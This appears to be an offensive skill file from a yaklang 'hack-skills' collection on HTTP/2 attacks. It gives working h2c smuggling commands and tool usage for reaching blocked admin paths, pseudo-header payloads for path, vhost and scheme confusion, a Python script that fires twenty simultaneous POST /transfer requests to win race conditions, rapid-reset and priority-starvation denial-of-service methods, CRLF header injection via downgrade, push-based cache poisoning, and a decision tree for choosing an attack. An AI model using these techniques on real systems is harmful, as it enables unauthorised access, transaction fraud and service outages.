yaklang/hack-skills/http2-specific-attacks

Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
                                                                    │
                                                            Backend speaks H2
                                                            Proxy is blind to
                                                            the H2 conversation

1. Client sends HTTP/1.1 request with:
   GET / HTTP/1.1
   Host: target.com
   Upgrade: h2c
   HTTP2-Settings: <base64 H2 settings>
   Connection: Upgrade, HTTP2-Settings
 
2. Proxy forwards request (doesn't understand h2c)
3. Backend responds: HTTP/1.1 101 Switching Protocols
4. Connection is now HTTP/2 between client and backend
5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
6. Client sends H2 requests directly to backend, bypassing proxy rules

✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
✓ Rate limiting (proxy-level rate limits bypassed)
✓ Authentication (proxy-enforced auth headers)
✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)

# Install
git clone https://github.com/BishopFox/h2csmuggler
cd h2csmuggler
pip3 install h2
 
# Basic smuggle — access /admin bypassing proxy restrictions
python3 h2csmuggler.py -x https://target.com/ --test
 
# Smuggle specific path
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users
 
# With custom headers
python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
    -H "Authorization: Bearer token123"

# Check if backend supports h2c upgrade
curl -v --http1.1 https://target.com/ \
    -H "Upgrade: h2c" \
    -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
    -H "Connection: Upgrade, HTTP2-Settings"
 
# 101 Switching Protocols → h2c supported
# 200/400/other → h2c not supported or proxy blocks upgrade

Scenario: Proxy routes based on :path, backend uses different parsing
 
H2 request:
  :method: GET
  :path: /public/../admin/users
  :authority: target.com
 
Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
Backend normalizes: /admin/users → serves admin content

:method: GET
:path: /public
:path: /admin       ← duplicate, forbidden by spec
:authority: target.com
 
Proxy may use first :path (/public) for routing
Backend may use last :path (/admin) for serving

:authority: public.target.com    ← proxy routes based on this
host: admin.internal.target.com  ← backend may prefer Host header
 
Result: proxy routes to public vhost, backend serves admin vhost

:scheme: https
:path: /api/internal
:authority: target.com
 
If backend trusts :scheme to determine if request is "internal":
  :scheme: https → "external" → restricted
  :scheme: http  → "internal" → unrestricted access

Principle: HPACK compresses headers. If attacker controls part of a header and a secret
exists in the same compression context, matching guesses → smaller frames → oracle.
 
Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
requires many requests on same connection. Harder than original CRIME.

HPACK dynamic table stores recent headers across requests on same connection.
1. Attacker sends X-Custom: malicious-value → added to dynamic table
2. Subsequent requests may reference this entry
3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakage

Traditional race condition: send N requests → network jitter → inconsistent timing
H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously
 
                    ┌─ Stream 1: POST /transfer (amount=1000)
Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
                    ├─ Stream 5: POST /transfer (amount=1000)
                    └─ Stream 7: POST /transfer (amount=1000)
                    
All 4 requests processed at the same nanosecond window

# Using h2 library — prepare all requests, send in single write
import h2.connection, h2.config, socket, ssl
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
for i in range(20):
    sid = conn.get_next_available_stream_id()
    conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
    conn.send_data(sid, b'amount=1000', end_stream=True)
sock.sendall(conn.data_to_send())  # ALL frames in single TCP packet

Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
Server processes each open/close but client doesn't wait for responses
Amplification: minimal client resources → massive server CPU exhaustion

Set exclusive=true + weight=256 on attacker's stream → starve other users' requests

H2: X-Custom: "value\r\nInjected: evil"  → binary, valid
H1: X-Custom: value                      → line break
    Injected: evil                        → new header!

Attack: trigger server push for /static/app.js with attacker-controlled content
  → PUSH_PROMISE frame pushes malicious response
  → browser/CDN caches poisoned content under legitimate URL
  → all subsequent loads serve attacker's content
 
Mitigation: most modern browsers/CDNs restrict or disable server push

Target supports HTTP/2?
│
├── YES
│   ├── Does proxy support h2c upgrade?
│   │   ├── YES → h2c smuggling (Section 2)
│   │   │   └── Access restricted paths bypassing proxy rules
│   │   └── NO → Continue
│   │
│   ├── H2→H1 downgrade between proxy and backend?
│   │   ├── YES → Header injection via binary format (Section 6.1)
│   │   │   ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
│   │   │   ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
│   │   │   └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
│   │   └── NO (end-to-end H2) → Continue
│   │
│   ├── Need race condition?
│   │   ├── YES → Single-packet attack via multiplexing (Section 5.1)
│   │   │   └── Pack N requests in one TCP segment
│   │   └── NO → Continue
│   │
│   ├── Pseudo-header manipulation viable?
│   │   ├── :path discrepancy → path confusion (Section 3.2)
│   │   ├── :authority vs Host → vhost confusion (Section 3.4)
│   │   └── :scheme manipulation → access control bypass (Section 3.5)
│   │
│   ├── Server push enabled?
│   │   ├── YES → Cache poisoning via push (Section 7)
│   │   └── NO → Continue
│   │
│   └── DoS objective?
│       ├── RST_STREAM rapid reset (Section 5.2)
│       └── PRIORITY starvation (Section 5.3)
│
└── NO (HTTP/1.1 only)
    └── See ../request-smuggling/SKILL.md for H1-specific techniques

# h2c probe
curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
 
# H2 support check
curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"